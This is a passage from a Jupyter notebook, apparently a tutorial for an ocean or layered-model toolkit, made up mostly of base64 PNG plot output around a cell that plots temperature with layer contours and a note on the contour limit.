QQmXT48GFUKhVBQUGGDkUIIYQAJLkXQgijFxsba+gQhBBC5BCS3AshRBrUajXTpk2jdOnS5M2bl2rVqvHPP/9w7949mjRpAoC9vT0qlYq+ffsCsHfvXho2bIidnR0FCxakXbt2+Pn5abW9e/fuoVKpWL9+PY0bNyZPnjysXr06cfovv/yCk5MTBQsWxN3dPVni/+rVK/r06YO9vT358uWjdevW+Pr66u7FEEIIYfQkuRdCiDRMmzaNlStXsnDhQq5evcqIESPo1asX9+/fZ9OmTQDcvHmTJ0+eMHfuXADCw8MZOXIkZ8+e5cCBA5iYmNC5c2fUarXW2/Xw8GDYsGFcv36dli1bAnDo0CH8/Pw4dOgQK1asYPny5Sxfvjxxmb59+3L27Fm2b9/OyZMnURSFNm3aSMu/EEK8Q1SKoiiGDkIIIYxRdHQ0BQoU4N9//8XV1TXx+f79+xMREcHAgQNp0qQJr169ws7OLtX1vHjxgsKFC3PlyhUqV66c5jbv3btH6dKlmTNnDsOGDUt8vm/fvhw+fBg/Pz9MTU0B+PTTTzExMWHdunX4+vry/vvvc/z4cerXrw/Ay5cvcXZ2ZsWKFXzyySdZeCWEEELkFGaGDkAIIYzV7du3iYiI4OOPP072fExMDDVq1Eh1OV9fXyZOnIi3tzcvXrxIbLH39/dPN7l/o3bt2imeq1SpUmJiD+Dk5MSVK1cAuH79OmZmZtSrVy9xesGCBSlfvjzXr1/XaptCCCFyPknuhRAiFWFhYQDs2rWLYsWKJZtmaWmZaj/69u3bU7JkSRYvXkzRokVRq9VUrlyZmJgYrbedP3/+FM+Zm5sn+1ulUmWoq48QQojcT5J7IYRIhYuLC5aWlvj7+9O4ceMU0x88eABAfHx84nMvX77k5s2bLF68mA8//BCAY8eO6T3WihUrEhcXh7e3d7JuOTdv3sTFxUXv2xdCCGEcJLkXQohUWFtb8+233zJixAjUajUNGzYkODiY48ePY2NjQ/PmzVGpVOzcuZM2bdqQN29e7O3tKViwIIsWLcLJyQl/f388PDz0Hmu5cuXo2LEjAwYM4M8//8Ta2hoPDw+KFStGx44d9b59IYQQxkGq5QghRBp+/PFHJkyYwLRp06hYsSKtWrVi165dlC5dmmLFijF58mQ8PDwoUqQIQ4YMSbzB9dy5c1SuXJkRI0bw888/Z0usy5Yto1atWrRr1w5XV1cURWH37t0puvMIIYTIvaRajhBCCCGEELmEtNwLIYQQQgiRS0hyL4QQ2Wjq1KlYWVlpfLRu3drQ4QkhhMjhpFuOEEJko8DAQAIDAzVOy5s3b4qSm0IIIURGSHIvhBBCCCFELiHdcoQQQgghhMglJLkXQgghhBAil5DkXgghhBBCiFxCknshhBBCCCFyCUnuhRBCCCGEyCUkuRdCCCGEECKXkOReCCGEEEKIXOL/gzg53I7GYsUAAAAASUVORK5CYII=", "text/plain": [ "<Figure size 900x500 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "initial_conditions.plot(\"temp\", xi=0, layer_contours=True)" ] }, { "cell_type": "markdown", "id": "d97ab0ef-cdeb-4499-99b8-0eaab5e02483", "metadata": {}, "source": [ "Note that even though we have a total of 100 layers, `layer_contours = True` will create a plot with a maximum of 10 contours to ensure plot clarity." ] }, { "cell_type": "code", "execution_count": 14, "id": "e8b97405-1ea1-49c7-aea1-0e03e49eb4bd", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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zbwusrIyHHXYYqqoWDfR0c9RRR3H33XdTW1vLDjvswIsvvsgTTzxBY2Pjeh0zZ9vf/e53OeWUUwiFQhx99NFMnz6da6+9lssvv5xly5bx+c9/nurqapYuXcrDDz/MWWedxbe//e312qYfI52/0ajTPvvsQ319PaeddhoXXHABQgjuvvtuT4vrbrvtxh//+Ecuuugidt99dxKJBEcffTRz5sxhr7324vLLL6erq4uGhgb+8Ic/VNRo++pXv8r999/P17/+dZ5++mn23XdfDMNg4cKF3H///Tz22GP5kIJXXXUVV199NU8//fSwmU7LvTZjsRg77LADf/zjH9l+++1paGhgxx13ZMcdd2T//ffnJz/5CblcjokTJ/Kvf/3LszdiU1DJ/erFaPq4f+ELXyAWi7HPPvswbtw4FixYwG233UY8HufHP/5x0bI//OEP2WeffTjggAM466yzWLlyJT/72c849NBDOfzww0elPgEBAWOQTR7HJiBgC8UJL7dgwQJ54oknyurqallfXy/PO+88mUqlipbN5XLy6quvlttss40MhUJy8uTJ8vLLLy8KAyillGvWrJFHHnmkrK6ulkBRaMj+/n55+eWXyxkzZshwOCybmprkPvvsI3/605/KbDYrpSyEw7v++uuH1JeSUHy6rsvzzz9fNjc3SyFEUXi60mW7u7vlGWecIZuammQikZCHHXaYXLhwoZw6dao87bTT8suVGw5SSiuM4MSJE6WiKEPCHP7pT3+S++23n6yqqpJVVVVy1qxZ8txzz5UffPBBfpkDDjhAzpkzZ8h6p06dKo888kjP/T/33HPz3ys5fxtaJymt0H577bWXjMVicsKECfI73/lOPkyl+3gNDAzIL33pS7Kurk4CRaEhP/roI3nIIYfISCQiW1pa5BVXXCEff/xxz3CQfvXIZrPyuuuuk3PmzJGRSETW19fL3XbbTV599dWyt7c3v9zFF18shRDy/fff91yPm3KuTSmlnD9/vtxtt91kOBwuusZWrlwpjzvuOFlXVydra2vlSSedJFevXu0bPtKP4a5/53y3t7cXlXuF2Sz3ft3Y/OIXv5B77LGHbGhokJqmyfHjx8uvfOUrcvHixZ7LP/fcc3KfffaR0WhUNjc3y3PPPVf29fVt0joHBARsWoSU6+l0FxCwleFYJNvb2yu2dgdsfoLzNzx77LEHU6d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